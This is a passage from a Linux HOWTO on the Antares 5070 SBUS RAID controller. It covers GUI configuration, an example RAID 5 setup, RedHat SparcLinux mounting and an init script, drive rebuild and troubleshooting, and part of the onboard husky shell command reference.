  • [M]odify: This action allows you to modify the unused spare devices. You will be prompted for each spare device attribute that can be changed. The prompt includes allowable options or formats required. If you don't wish to change a particular attribute, then press the RETURN key. The attributes you can change are the new size (in 512-byte blocks), the spin state (H or hot or W for Warm), and the controller allocation (A for any, 0 for controller 0, 1 for controller 1, etc). If you wish to change a single attribute of a spare device, then use the RETURN key to skip all other attributes for each spare device. The changed attribute will not be re-displayed until the last prompted attribute is entered (or skipped). When you enter data, it is checked for cor rectness and if incorrect, a message is dis played and all changes are discarded and you will have to start again. Remember you must install ([I]nstall) any changes.
  • [A]dd: When adding a spare device, the list of available devices is displayed and you are required to type in the device name. Once entered, the spare is added with defaults which you can change, if required, via the [M]odify option. Remember you must install ([I]nstall) any changes.
  • [D]elete: When deleting a spare device, the list of spare devices allowed to be deleted is displayed and you are required to type in the required device name. Once entered, the spare is deleted from the screen. Remember you must install ([I]nstall) any changes.

7.6 [M]onitor:

Figure 5
Figure 5: SCSI Monitor Screen

The SCSI Monitor Configuration screen displays a table of SCSI monitors configured for the RaidRunner. Up to four SCSI monitors may be configured. The table columns are entitled Controller, Host Port, SCSI LUN and Protocol and each line of the table shows the appropriate SCSI Monitor attribute. For details on SCSI Monitor attributes, see the rconf command in the "Advanced Topics" section. The menu line allows one to leave the SCSI Monitor Configuration screen or modify and install the table.

  • [Q]uit: Exit the SCSI Monitor Configuration screen and return to the Main screen. If you have made changes and have not installed them you will be asked to confirm this. If you select Yes to continue the exit, all changes made since the last install action will be discarded.
  • [I]nstall: This action installs (into the RaidRunner configuration area) any changes that may have been made to SCSI Monitor configuration. If you exit prior to installing, all changes made since the last installation will be discarded. The installation process takes time. It is complete once the typed "i" character, is cleared from the menu line.
  • [M]odify: This action allows you to modify the SCSI Monitor configuration. The cursor will be moved around the table, prompting you for input. If you do not want to change an attribute, enter RETURN to skip. If you want to delete a SCSI monitor then enter the minus "-" character when prompted for the controller number. If you want to use the default protocol list, then enter RETURN at the Protocol List prompt. As you enter data, it is checked for correctness and if incorrect, a message will be printed and any previously entered data is discarded. You will have to re-enter the data again. Remember you must install ([I]nstall) any changes.

7.7 [G]eneral:

Figure 6
Figure 6: General Screen

The General screen has a blank data area and a menu which allows one to Quit and return to the main screen, or to select further sub-menus which provide information about Devices, the System Message Logger, Global Environment variables and throughput Statistics.

  • [Q]uit: Exit the General screen and return to the Main screen.
  • [D]evices: Enter the Device information screen. The Devices screen displays the name of all devices on the RaidRunner. The menu line allows one to Quit and return to the General screen or display information about the devices.
    Figure 7
    Figure 7: Devices Screen

    • [Q]uit: Exit the Devices screen and return to the General screen.
    • [I]nformation: The Device Information screen displays information about each device. You can scroll through the devices. For disks, information displayed includes, the device name, serial number, vendor name, product id, speed, version, sector size, sector count, total device size in MB, number of cylinders, heads and sectors per track and the zone/notch partitions. The menu line allows one the leave the Device Information screen or browse through devices.
      Figure 8
      Figure 8: Device Information Screen

        • [Q]uit: Exit the Device Information screen and return to the Devices screen.
        • [F]irst, [L]ast, [N]ext and [P]rev allow you to scroll through the devices and hence display their current data .

    • Sys[L]og: Enter the System Logger Messages screen.
      Figure 9
      Figure 9: System Logger Messages Screen

      • [Q]uit: Exit the System Logger Messages screen and return to the General screen.
      • [F]irst, [L]ast, [N]ext and [P]rev allow you to scroll through the system log.

    • [E]nvironment: Enter the Global Environment Variable configuration screen. The Environment Variable Configuration screen dis plays all configured Global Environment Variables and provides a menu which allows you to Add, Delete, Modify and Install (changes) variables. Each variable name is displayed followed by an equals "=" and the value assigned to that variable enclosed in braces - "{" .. "}". The menu line allows you to Quit and return to the General screen or select further actions.
      Figure 10
      Figure 10: Environment Global Variable Configuration Screen

      • [Q]uit: Exit the Environment Variable Configuration screen and return to the General screen. If you have modified, deleted or added an environment variable and have not installed the changes you will be asked to confirm this. If you select Yes to continue the exit, all changes made since the last install action will be discarded.
      • [I]nst: This action installs (into the RaidRunner configuration area) any changes that may have been made to environment variables, be that deletion, addition or modification. If you exit prior to installing, all changes made since the last installation will be discarded. The installation process takes time. It is complete once the typed "i" character, is cleared from the menu line.
      • [M]od: This action allows you to modify an environment variable's value. You will be prompted for the name of the environment variable and then prompted for it's new value. If the environment variable entered is not found, a message will be printed and you will not be prompted for a new value. If you do not enter a new value, (i.e. just press RETURN) no change will be made. Remember you must install ([I]nstall) any changes.
      • [A]dd: When adding a new environment variable, you will be prompted for it's name and value. Providing the variable name is not already used and you enter a value, the new variable will be added and displayed. Remember you must install ([I]nstall) any changes.
      • [D]elete: When deleting an environment variable, you will be prompted for the variable name and if valid, the environment variable will be deleted. Remember you must install ([I]nstall) any changes.

    • [S]tats: Enter the Statistics monitoring screen. The Statistics screen display various general and specific statistics about raid sets configured and running on the RaidRunner. The first section of the data area displays the current temperature in degrees Celsius and the current speed of fans in the RaidRunner. The next section of the data area displays various statistics about the named raid set. The statistics are - the current cache hit rate, the cumulative number of reads, read failures, writes and write failures for each backend of the raid set and finally the read and write throughput for each stargd process (indicated by it's process id) that front's the raid set. The menu line allows one the leave the Statistics screen or select further actions.
      Figure 11
      Figure 11: Statistics Monitoring Screen

      • [Q]uit: Exit the Statistics screen and return to the General screen.
      • [F]irst, [L]ast, [N]ext and [P]rev allow you to scroll through the statistics.
      • [R]efresh: This option will get the statistics for the given raid set and re-display the current statistics on the screen.
      • [Z]ero: This option will zero the cumulative statistics for the currently displayed raid set.
      • [C]ontinuous: This option will start a back ground process that will update the statis tics of the currently displayed raid set every 2 seconds. A loop counter is created and updated every 2 seconds also. To inter rupt this continuous mode of gathering statistics, just press any character. If you need to re-fresh the display, then press the refresh characters - <Control-l> or <Con trol-r>.

    7.8 [P]robe

    The probe option re-scans the SCSI channels and updates the backend list with the hardware it finds.

    7.9 Example RAID Configuration Session

    The generalized procedure for configuration consists of three steps arranged in the following order:
    1. Configuring the Host Port(s)
    2. Assigning Spares
    3. Configuring the RAID set
    Note that there is a minimum number of backends required for the various supported RAID levels:
    • Level 0 : 2 backends
    • Level 3 : 2 backends
    • Level 5 : 3 backends
    In this example we will configure a RAID 5 using 6, 2.04 gigabyte drives. The total capacity of the virtual drive will be 10 gigabytes (the equivalent of one drive is used for redundancy). This same configuration procedure can be used to configure other levels of RAID sets by changing the type parameter.
    1. Power on the computer with the serial terminal connected to the RaidRunner's serial port.
    2. When the husky ( :raid; ) prompt appears, Start the GUI by typing "agui" and pressing return.
    3. When the main screen appears, select "H" for [H]ostport configuration
    4. On some models of RaidRunner the host port in not configurable. If you have only a [Q]uit option here then there is nothing further to be done for the host port configuration, note the values and skip to step 6. If you have add/modify options then your host port is software configurable.
    5. If there is no entry for a host port on this screen, add an entry with the parameters: controller=0, hostport=0 , SCSI ID=0. Don't forget to [I]nstall your changes. If there is already and entry present, note the values (they will be used in a later step).
    6. From this point onward I will assume the following hardware configuration:
      1. There are 7 - 2.04 gig drives connected as follows:
        1. 2 drives on SCSI channel 0 with SCSI IDs 0 and 1 (backends 0.0.0, and 0.1.0, respectively).
        2. 3 drives on SCSI channel 1 with SCSI IDs 0 ,1 and 5 (backends 1.0.0, 1.1.0, and 1.5.0).
        3. 2 drives on SCSI channel 2 with SCSI IDs 0 and 1 (backends 2.0.0 and 2.1.0).
      2. Therefore:
        1. Rank 0 consists of backends 0.0.0, 1.0.0, 2.0.0
        2. Rank 1 consists of backends 0.1.0, 1.1.0, 2.1.0
        3. Rank 5 contains only the backend 1.5.0
      3. The RaidRunner is assigned to controller 0, hostport 0
    7. Press Q to [Q]uit the hostports screen and return to the Main screen.
    8. Press S to enter the [S]pares screen
    9. Select A to [A]dd a new spare to the spares pool. A list of available backends will be displayed and you will be prompted for the following information:
      10. Enter the device name to add to spares - from above:
    enter
    D1.5.0
  • Select I to [I]nstall your changes
  • Select Q to [Q]uit the spares screen and return to the Main screen
  • Select R from the Main screen to enter the [R]aidsets screen.
  • Select A to [A]dd a new RAID set. You will be prompted for each of the RAID set parameters. The prompts and responses are given below.
    1. Enter the name of Raid Set: cim_homes (or whatever you want to call it).
    2. Raid set type [0,1,3,5]: 5
    3. Enter initial host interface - ctlr,hostport,scsilun: 0.0.0 Now a list of the available backends will be displayed in the form: 0 - D0.0.0 1 - D1.0.0 2 - D2.0.0 3 - D0.1.0 4 - D1.1.0 5 - D2.1.0
    4. Enter index from above - Q to Quit: 1 press return 2 press return 3 press return 4 press return 5 press return Q
  • After pressing Q you will be returned to the Raid Sets screen. You should see the newly configured Raid set displayed in the data area.
  • Press I to [I]nstall the changes
    • Figure 12
    Figure 12: The RaidSets screen of the GUI showing the newly configured RAID 5

  • Press Q to exit the RaidSet screen and return to the the Main screen
  • Press Q to [Q]uit agui and exit to the husky prompt.
  • type "reboot" then press enter. This will reboot the RaidRunner (not the host machine.)
  • When the RaidRunner reboots it will prepare the drives for the newly configured RAID. NOTE: Depending on the size of the RAID this could take a few minutes to a few hours. For the above example it takes the 5070 approximately 10 - 20 minutes to stripe the RAID set.
  • Once you see the husky prompt again the RAID is ready for use. You can then proceed with the Linux configuration.

    • Next Previous Contents


Antares-RAID-sparcLinux-HOWTO: Linux Configuration

 Next Previous Contents

8. Linux Configuration

These instructions cover setting up the virtual RAID drives on RedHat Linux 6.1. Setting it up under other Linux distributions should not be a problem. The same general instructions apply.

If you are new to Linux you may want to consider installing Linux from scratch since the RedHat installer will do most of the configuration work for you. If so skip to section titled "New Linux Installation." Otherwise go to the "Existing Linux Installation" section (next).

8.1 Existing Linux Installation

Follow these instructions if you already have Redhat Linux installed on your system and you do not want to re-install. If you are installing the RAID as part of a new RedHat Linux installation (or are re-installing) skip to the "New Linux Installation" section.

QLogic SCSI Driver

The driver can either be loaded as a module or compiled into your kernel. If you want to boot from the RAID then you may want to use a kernel with compiled in QLogic support (see the kernel-HOWTO available from http://www.linuxdoc.org. To use the modular driver become the superuser and add the following lines to /etc/conf.modules:

alias qlogicpti /lib/modules/preferred/scsi/qlogicpti

Change the above path to where ever your SCSI modules live. Then add the following line to you /etc/fstab (with the appropriate changes for device and mount point, see the fstab man page if you are unsure)

/dev/sdc1 /home ext2 defaults 1 2

Or, if you prefer to use a SYSV initialization script, create a file called "raid" in the /etc/rc.d/init.d directory with the following contents (NOTE: while there are a few good reasons to start the RAID using a script, one of the aforementioned methods would be preferable):

#!/bin/bash

case "$1" in

start)

echo "Loading raid module"

/sbin/modprobe qlogicpti

echo

echo "Checking and Mounting raid volumes..."

mount -t ext2 -o check /dev/sdc1 /home

touch /var/lock/subsys/raid

;;

stop)

echo "Unmounting raid volumes"

umount /home

echo "Removing raid module(s)"

/sbin/rmmod qlogicpti

rm -f /var/lock/subsys/raid

echo

;;

restart)

$0 stop

$0 start

;;

*)

echo "Usage: raid {start|stop|restart}"

exit 1

esac

exit 0

You will need to edit this example and substitute your device name(s) in place of /dev/sdc1 and mount point(s) in place of /home. The next step is to make the script executable by root by doing:

chmod 0700 /etc/rc.d/init.d/raid

Now use your run level editor of choice (tksysv, ksysv, etc.) to add the script to the appropriate run level.

Device mappings

Linux uses dynamic device mappings you can determine if the drives were found by typing:

more /proc/scsi/scsi

one or more of the entries should look something like this:

Host: scsi1 Channel: 00 Id: 00 Lun: 00

Vendor: ANTARES Model: CX106 Rev: 0109

Type: Direct-Access ANSI SCSI revision: 02

There may also be one which looks like this:

Host: scsi1 Channel: 00 Id: 00 Lun: 07

Vendor: ANTARES Model: CX106-SMON Rev: 0109

Type: Direct-Access ANSI SCSI revision: 02

This is the SCSI monitor communications channel which is currently un-used under Linux (see SMON in the advanced topics section below).

To locate the drives (following reboot) type:

dmesg | more

Locate the section of the boot messages pertaining to you SCSI devices. You should see something like this:

qpti0: IRQ 53 SCSI ID 7 (Firmware v1.31.32)(Firmware 1.25 96/10/15)

[Ultra Wide, using single ended interface]

QPTI: Total of 1 PTI Qlogic/ISP hosts found, 1 actually in use.

scsi1 : PTI Qlogic,ISP SBUS SCSI irq 53 regs at fd018000 PROM node ffd746e0

Which indicates that the SCSI controller was properly recognized, Below this look for the disk section:

Vendor ANTARES Model: CX106 Rev: 0109

Type: Direct-Access ANSI SCSI revision: 02

Detected scsi disk sdc at scsi1, channel 0, id 0, lun 0

SCSI device sdc: hdwr sector= 512 bytes. Sectors= 20971200 [10239
 MB] [10.2 GB]

Note the line that reads "Detected scsi disk sdc ..." this tells you that this virtual disk has been mapped to device /dev/sdc. Following partitioning the first partition will be /dev/sdc1, the second will be /dev/sdc2, etc. There should be one of the above disk sections for each virtual disk that was detected. There may also be an entry like the following:

Vendor ANTARES Model: CX106-SMON Rev: 0109

Type: Direct-Access ANSI SCSI revision: 02

Detected scsi disk sdd at scsi1, channel 0, id 0, lun 7

SCSI device sdd: hdwr sector= 512 bytes. Sectors= 20971200 [128 MB]
 [128.2 MB]

BEWARE: this is not a drive DO NOT try to fdisk, mkfs, or mount it!! Doing so WILL hang your system.

Partitioning

A virtual drive appears to the host operating system as a large but otherwise ordinary SCSI drive. Partitioning is performed using fdisk or your favorite utility. You will have to give the virtual drive a disk label when fdisk is started. Using the choice "Custom with autoprobed defaults" seems to work well. See the man page for the given utility for details.

Installing a filesystem

Installing a filesystem is no different from any other SCSI drive:

mkfs -t <filesystem_type> /dev/<device>

for example:

mkfs -t ext2 /dev/sdc1

Mounting

If QLogic SCSI support is compiled into you kernel OR you are loading the "qlogicpti" module at boot from /etc/conf.modules then add the following line(s) to the /etc/fstab:

/dev/<device> <mount point> ext2 defaults 1 1

If you are using a SystemV initialization script to load/unload the module you must mount/unmount the drives there as well. See the example script above.

8.2 New Linux Installation

This is the easiest way to install the RAID since the RedHat installer program will do most of the work for you.

  1. Configure the host port, RAID sets, and spares as outlined in "Onboard Configuration." Your computer must be on to perform this step since the 5070 is powered from the SBUS. It does not matter if the computer has an operating system installed at this point all we need is power to the controller card.
  2. Begin the RedHat SparcLinux installation
  3. The installation program will auto detect the 5070 controller and load the Qlogic driver
  4. Your virtual RAID drives will appear as ordinary SCSI hard drives to be partitioned and formatted during the installation. NOTE: When using the graphical partitioning utility during the RedHat installation DO NOT designate any partition on the virtual drives as type RAID since they are already hardware managed virtual RAID drives. The RAID selection on the partitioning utilities screen is for setting up a software RAID. IMPORTANT NOTE: you may see a small SCSI drive ( usually ~128 MB) on the list of available drives. DO NOT select this drive for use. It is the SMON communication channel NOT a drive. If setup tries to use it it will hang the installer.
  5. Thats it, the installation program takes care of everything else !!


Antares-RAID-sparcLinux-HOWTO: Maintenance

 Next Previous Contents

9. Maintenance

9.1 Activating a spare

When running a RAID 3 or 5 (if you configured one or more drives to be spares) the 5070 will detect when a drive goes offline and automatically select a spare from the spares pool to replace it. The data will be rebuilt on-the-fly. The RAID will continue operating normally during the re-construction process (i.e. it can be read from and written to just is if nothing has happened). When a backend fails you will see messages similar to the following displayed on the 5070 console:

930 secs: Redo:1:1 Retry:1 (DIO_cim_homes_D1.1.0_q1) CDB=28(Read_10)Re-/Selection
 Time-out @682400+16

932 secs: Redo:1:1 Retry:2 (DIO_cim_homes_D1.1.0_q1) CDB=28(Read_10)Re-/Selection
 Time-out @682400+16

933 secs: Redo:1:1 Retry:3 (DIO_cim_homes_D1.1.0_q1) CDB=28(Read_10)Re-/Selection
 Time-out @682400+16

934 secs: CIO_cim_homes_q3 R5_W(3412000, 16): Pre-Read drive 4 (D1.1.0)
 fails with result "Re-/Selection Time-out"

934 secs: CIO_cim_homes_q2 R5: Drained alternate jobs for drive 4 (D1.1.0)

934 secs: CIO_cim_homes_q2 R5: Drained alternate jobs for drive 4 (D1.1.0)
 RPT 1/0

934 secs: CIO_cim_homes_q2 R5_W(524288, 16): Initial Pre-Read drive 4 (D1.1.0)
 fails with result "Re-/Selection Time-out"

935 secs: Redo:1:0 Retry:1 (DIO_cim_homes_D1.0.0_q1) CDB=28(Read_10)SCSI
 Bus ~Reset detected @210544+16

936 secs: Failed:1:1 Retry:0 (rconf) CDB=2A(Write_10)Re-/Selection Time-out
 @4194866+128

Then you will see the spare being pulled from the spares pool, spun up, tested, engaged, and the data reconstructed.

937 secs: autorepair pid=1149 /raid/cim_homes: Spinning up spare device

938 secs: autorepair pid=1149 /raid/cim_homes: Testing spare device/dev/hd/1.5.0/data

939 secs: autorepair pid=1149 /raid/cim_homes: engaging hot spare ...

939 secs: autorepair pid=1149 /raid/cim_homes: reconstructing drive 4 ...

939 secs: 1054

939 secs: Rebuild on /raid/cim_homes/repair: Max buffer 2800 in 7491 reads,
 priority 6 sleep 500

The rebuild script will printout its progress every 10% of the job completed

939 secs: Rebuild on /raid/cim_homes/repair @ 0/7491

1920 secs: Rebuild on /raid/cim_homes/repair @ 1498/7491

2414 secs: Rebuild on /raid/cim_homes/repair @ 2247/7491

2906 secs: Rebuild on /raid/cim_homes/repair @ 2996/7491

9.2 Re-integrating a repaired drive into the RAID (levels 3 and 5)

After you have replaced the bad drive you must re-integrate it into the RAID set using the following procedure.

  1. Start the text GUI
  2. Look the list of backends for the RAID set(s).
  3. Backends that have been marked faulty will have a (-) to the right of their ID ( e.g. D1.1.0- ).
  4. If you set up spares the ID of the faulty backend will be followed by the ID of the spare that has replaced it ( e.g. D1.1.0-D1.5.0 ) .
  5. Write down the ID(s) of the faulty backend(s) (NOT the spares).
  6. Press Q to exit agui
  7. At the husky prompt type:
    replace <name> <backend>

Where <name> is whatever you named the raid set and <backend> is the ID of the backend that is being re-integrated into the RAID. If a spare was in use it will be automatically returned to the spares pool. Be patient, reconstruction can take a few minutes minutes to several hours depending on the RAID level and the size. Fortunately, you can use the RAID as you normally would during this process.


Antares-RAID-sparcLinux-HOWTO: Troubleshooting / Error Messages

 Next Previous Contents

10. Troubleshooting / Error Messages

10.1 Out of band temperature detected...

  • Probable Cause: The 5070 SBUS card is not adequately cooled.
  • Solution: Try to improve cooling inside the case. Clean dust from the fans, re-organize the cards so the raid card is closest to the fan, etc. On some of the "pizza box" sun cases (e.g. SPARC 20) you may need to add supplementary cooling fans especially if you have it loaded with cards.

10.2 ... failed ... cannot have more than 1 faulty backend.

  • Cause: More than one backend in the RAID 3/4/5 has failed (i.e. there is no longer sufficient redundancy to enable the lost data to be reconstructed).
  • Solution: You're hosed ... Sorry. If you did not assign spares when you configured you RAID 3/4/5 now may be a good time to re-consider the wisdom of that decision. Hopefully you have been making regular backups. Since now you will have to replace the defective drives, re-configure the RAID, and restore the data from a secondary source.

10.3 When booting I see: ... Sun disklabel: bad magic 0000 ... unknown partition table.

  • Suspected Cause: Incorrect settings in the disk label set by fdisk (or whatever partitioning utility you used). This message seems to happen when you choose one of the preset disk labels rather than "Custom with autoprobed defaults."
  • Solution: Since this error does not seem to effect the operation of the drive you can choose to do nothing and be ok. If you want to correct it you can try re-labeling the disk or re-partitioning the disk and choose "Custom with autoprobed defaults." If you are installing RedHat Linux from scratch the installer will get all of this right for you.


Antares-RAID-sparcLinux-HOWTO: Bugs

 Next Previous Contents

11. Bugs

None yet! Please send bug reports to tdc3@psu.edu


Antares-RAID-sparcLinux-HOWTO: Frequently Asked Questions

 Next Previous Contents

12. Frequently Asked Questions

12.1 How do I reset/erase the onboard configuration?

At the husky prompt issue the following command:

rconf -init

This will delete all of the RAID configuration information but not the global variables and scsi monitors. the remove ALL configuration information type:

rconf -fullinit

Use these commands with caution!

12.2 How can I tell if a drive in my RAID has failed?

In the text GUI faulty backends appear with a (-) to the right of their ID. For example the list of backends:

D0.0.0,D1.0.0-,D2.0.0,D0.1.0,D1.1.0,D2.1.0

Indicates that backend (drive) D1.0.0 is either faulty or not present. If you assigned spares (RAID 3 or 5) then you should also see that one or more spares are in use. Both the main and the and the RaidSets screens will show information on faulty/not present drives in a RAID set.


Antares-RAID-sparcLinux-HOWTO: Advanced Topics: 5070 Command Reference

 Next Previous Contents

13. Advanced Topics: 5070 Command Reference

In addition to the text based GUI the RAID configuration may also be manipulated from the husky prompt ( the : raid; prompt) of the onboard controller. This section describes commands that a user can input interactively or via a script file to the K9 kernel. Since K9 is an ANSI C Application Programming Interface (API) a shell is needed to interpret user input and form output. Only one shell is currently available and it is called husky. The K9 kernel is modelled on the Plan 9 operating system whose design is discussed in several papers from AT&T (See the "Further Reading" section for more information). K9 is a kernel targeted at embedded controllers of small to medium complexity (e.g. ISDN-ethernet bridges, RAID controllers, etc). It supports multiple lightweight processes (i.e. without memory management) on a single CPU with a non-pre-emptive scheduler. Device driver architecture is based on Plan 9 (and Unix SVR4) STREAMS. Concurrency control mechanisms include semaphores and signals. The husky shell is modelled on a scaled down Unix Bourne shell.

Using the built-in commands the user can write new scripts thus extending the functionality of the 5070. The commands (adapted from the 5070 man pages) are extensive and are described below.

13.1 AUTOBOOT - script to automatically create all raid sets and scsi monitors

  • SYNOPSIS: autoboot
  • DESCRIPTION: autoboot is a husky script which is typically executed when a RaidRunner boots. The following steps are taken -
    1. Start all configured scsi monitor daemons (smon).
    2. Test to see if the total cache required by all the raid sets that are to boot is not more than 90% of available memory.
    3. Start all the scsi target daemons (stargd) and set each daemon's mode to "spinning-up" which enables it to respond to all non medium access commands from the host. This is done to allow hosts to gain knowledge about the RaidRunner's scsi targets as quickly as possible.
    4. Bind into the root (ram) filesystem all unused spare backend devices.
    5. Build all raid sets.
    6. If battery backed-up ram is present, check for any saved writes and restore them into the just built raid sets.
    7. Finally, set the state of all scsi target daemons to "spun-up" enabling hosts to fully access the raid set's behind them.

13.2 AUTOFAULT - script to automatically mark a backend faulty after a drive failure

  • SYNOPSIS: autofault raidset
  • DESCRIPTION: autofault is a husky script which is typically executed by a raid file system upon the failure of a backend of that raid set when that raid file system cannot use spare backends or has been configured not to use spare backends. After parsing it's arguments (command and environment) autofault issues a rconf command to mark a given backend as faulty.
  • OPTIONS:
    • raidset: The bind point of the raid set whose backend failed.
    • $DRIVE_NUMBER: The index of the backend that failed. The first backend in a raid set is 0. This option is passed as an environment variable.
    • $BLOCK_SIZE: The raid set's io block size in bytes. (Ignored). This option is passed as an environment variable.
    • $QUEUE_LENGTH: The raid set's queue length. (Ignored). This option is passed as an environment variable.
  • SEE ALSO: rconf

13.3 AUTOREPAIR - script to automatically allocate a spare and reconstruct a raid set

  • SYNOPSIS: autorepair raidset size
  • DESCRIPTION: autorepair is a husky script which is typically executed by either a raid type 1, 3 or 5 file system upon the failure of a backend of that raid set. After parsing it's arguments (command and environment) autorepair gets a spare device from the RaidRunner's spares spool. It then engages it in write-only mode and reads the complete raid device which reconstructs the data on the spare. The read is from the raid file system repair entrypoint. Reading from this entrypoint causes a read of a block immediately followed by a write of that block. The read/write sequence is atomic (i.e is not interruptible). Once the reconstruction has completed, a check is made to ensure the spare did not fail during reconstruction and if not, the access mode of the spare device is set to the access mode of the raid set. The process that reads the repair entrypoint is rebuild.

This device reconstruction will take anywhere from 10 minutes to one and a half hours depending on both the size and speed of the backends and the amount of activity the host is generating.

During device reconstruction, pairs of numbers will be printed indicating each 10% of data reconstructed. The pairs of numbers are separated by a slash character, the first number being the number of blocks reconstructed so far and the second being the number number of blocks to be reconstructed. Further status about the rebuild can be gained from running rebuild.

When the spare is allocated both the number of spares currently used on the backend and the spare device name is printed. The number of spares on a backend is referred to the depth of spares on the backend. Thus prior to re-engaging the spare after a reconstruction a check can be made to see if the depth is the same. If it is not, then the spare reconstruction failed and reconstruction using another spare is underway (or no spares are available), and hence we don't re-engage the drive.

  • OPTIONS:
    • raidset: The bind point of the raid set whose backend failed.
    • size : The size of the raid set in 512 byte blocks.
    • $DRIVE_NUMBER: The index of the backend that failed. The first backend in a raid set is 0. This option is passed as an environment variable.
    • $BLOCK_SIZE: The raid set's io block size in bytes. This option is passed as an environment variable.
    • $QUEUE_LENGTH: The raid set's queue length. This option is passed as an environment variable.
  • SEE ALSO: rconf, rebuild

13.4 BIND - combine elements of the namespace

  • SYNOPSIS: bind [-k] new old
  • DESCRIPTION: Bind replaces the existing old file (or directory) with the new file (or directory). If the"-k" switch is given then new must be a kernel recognized device (file system). Section 7k of the manual pages documents the devices (sometimes called file systems) that can be bound using the "-k" switch.

13.5 BUZZER - get the state or turn on or off the buzzer

  • SYNOPSIS: buzzer or buzzer on|off|mute
  • DESCRIPTION: Buzzer will either print the state of the buzzer, turn on or off the buzzer or mute it. If no arguments are given then the state of the buzzer is printed, that is on or off will be printed if the buzzer is currently on or off respectively. If the buzzer has been muted, then you will be informed of this. If the buzzer has not been used since the RaidRunner has booted then the special state, unused, is printed. If the argument on is given the buzzer is turned on, if off, the buzzer is turned off. If the argument mute is given then the muted state of the buzzer is changed.
  • SEE ALSO: warble, sos

13.6 CACHE - display information about and delete cache ranges

  • SYNOPSIS: cache [-D moniker] [-I moniker] [-F] [-g moniker first|last] lastoffset
  • DESCRIPTION: cache will print (to standard output) information about the given cache range, delete a given cache range, flush the cache or return the last offset of all cache ranges.
  • OPTIONS
    • -F: Flush all cache buffers to their backends (typically raid sets).
    • -D moniker: Delete the cache range with moniker (name) moniker.
    • -I moniker: Invalidate the cache for the given cache range (moniker). This is only useful for debugging or elaborate benchmarks.
    • g moniker first|last: Print either the first or last block number of a cache range with moniker (name) moniker.
    • lastoffset: Print the last offset of all cache ranges. The last offset is the last block number of all cache ranges.

13.7 CACHEDUMP - Dump the contents of the write cache to battery backed-up ram

  • SYNOPSIS: cachedump
  • DESCRIPTION: cachedump causes all unwritten data in the RaidRunner's cache to be written out to the battery backed-up ram. No data will be written to battery backed-up ram if there is currently valid data already stored there. This command is typically executed when there is something wrong with the data (or it's organization) in battery backed-up ram and you need to re-initialize it. cachedump will always return a NULL status.
  • SEE ALSO: showbat, cacherestore

13.8 CACHERESTORE - Load the cache with data from battery backed-up ram

  • SYNOPSIS: cacherestore
  • DESCRIPTION: cacherestore will check the RaidRunner's battery backed-up ram for any data it has stored as a result of a power failure. It will copy any data directly into the cache. This command is typically executed automatically at boot time and prior to the RaidRunner making it's data available to a host. Having successfully copied any data from battery backed-up ram into the cache, it flushes the cache and then re-initializes battery backed-up ram to indicate it holds no data. cacherestore will return a NULL status on success or 1 if an error occurred during the loading (with a message written to standard error).
  • SEE ALSO: showbat

13.9 CAT - concatenate files and print on the standard output

  • SYNOPSIS: cat [ file... ]
  • DESCRIPTION: cat writes the contents of each given file, or standard input if none are given or when a file named `-' is given, to standard output. If the nominated file is a directory then the filenames contained in that directory are sent to standard out (one per line). More information on a file (e.g. its size) can be obtained by using stat. The script file ls uses cat and stat to produce directory listings.
  • SEE ALSO echo, ls, stat

13.10 CMP - compare the contents of 2 files

  • SYNOPSIS: cmp [-b blockSize] [-c count] [-e] [-x] file1 file2
  • DESCRIPTION: cmp compares the contents of the 2 named files. If file1 is "-" then standard input is used for that file. If the files are the same length and contain the same val ues then nothing is written to standard output and the exit status NIL (i.e. true) is set. Where the 2 files dif fer, the first bytes that differ and the position are out put to standard out and the exit status is set to "differ" (i.e. false). The position is given by a block number (origin 0) followed by a byte offset within that block (origin 0). The optional "-b" switch allows the blockSize of each read operation to be set. The default blockSize is 512 (bytes). For big compares involving disks a relatively large blockSize may be useful (e.g. 64k). See suffix for allowable suffixes. The optional "-c" switch allows the count of blocks read to fixed. A value of 0 for count is interpreted as read to the end of file (EOF). To compare the first 64 Megabytes of 2 files the switches "-b 64k -c 1k" could be used. See suffix for allowable suffixes. The optional "-e" switch instructs ccmmpp to output to stan dard out (usually overwriting the same line) the count of blocks compared, each time a multiple of 100 is reached. The final block count is also output. The optional "-x" switch instructs ccmmpp to continue after a comparison error (but not a file error) and keep a count of blocks in error. If any errors are detected only the last one will be output when the command exits. If the "-e" switch is also given then the current count of blocks in error is output to the right of the multiple of 100 blocks compared. This command is designed to compare very large files. Two buffers of blockSize are allocated dynamically so their size is bounded by the amount of memory (i.e. RAM in the target) available at the time of command execution. The count could be up to 2G. The number of bytes compared is the product of blockSize and count (i.e. big enough).
  • SEE ALSO: suffix

13.11 CONS - console device for Husky

  • SYNOPSIS: bind -k cons bind_point
  • DESCRIPTION: cons allows an interpreter (e.g. Husky) to route console input and output to an appropriate device. That console input and output is available at bind_point in the K9 namespace. The special file cons should always be available.
  • EXAMPLES: Husky does the following in its initialisation:
    bind -k cons /dev/cons

On a Unix system this is equivalent to:

bind -k unixfd /dev/cons

On a DOS system this is equivalent to:

bind -k doscon /dev/cons

On target hardware using a SCN2681 chip this is equivalent to:

bind -k scn2681 /dev/cons
  • SEE ALSO: unixfd, doscon, scn2681

    • 13.12 DD - copy a file (disk, etc)

    • SYNOPSIS: dd [if=file] [of=file] [ibs=bytes] [obs=bytes] [bs=bytes] [skip=blocks] [seek=blocks] [count=blocks] [flags=verbose]
    • DESCRIPTION: dd copies a file (from the standard input to the standard output, by default) with a user-selectable blocksize.
    • OPTIONS
      • if=file Read from file instead of the standard input.
      • of=file, Write to file instead of the standard output.
      • ibs=bytes, Read given number of bytes at a time.
      • obs=bytes, Write given number of bytes at a time.
      • bs=bytes, Read and write given number of bytes at a time. Override ibs and obs.
      • skip=blocks, Skip ibs-sized blocks at start of input.
      • seek=blocks, By-pass obs-sized blocks at start of output.
      • count=blocks, Copy only ibs-sized input blocks.
      • flags=verbose, Print (to standard output) the number of blocks copied every ten percent of the copy. The output is of the form X/T where X is the number of blocks copied so far and T is the total number of blocks to copy. This option can only be used if both the count= and of= options are also given.
      The decimal numbers given to "ibs", "obs", "bs", "skip", "seek" and "count" must not be negative. These numbers can optionally have a suffix (see suffix). dd outputs to standard out in all cases. A successful copy of 8 (full) blocks would cause the following output:
      8+0 records in

      8+0 records out

    The number after the "+" is the number of fractional blocks (i.e. blocks that are less than the block size) involved. This number will usually be zero (and is otherwise when physical media with alignment requirements is involved).

    A write failure outputting the last block on the previous example would cause the following output:

    Write failed

    8+0 records in

    7+0 records out
  • SEE ALSO: suffix

    • 13.13 DEVSCMP - Compare a file's size against a given value

    • SYNOPSIS: devscmp filename size
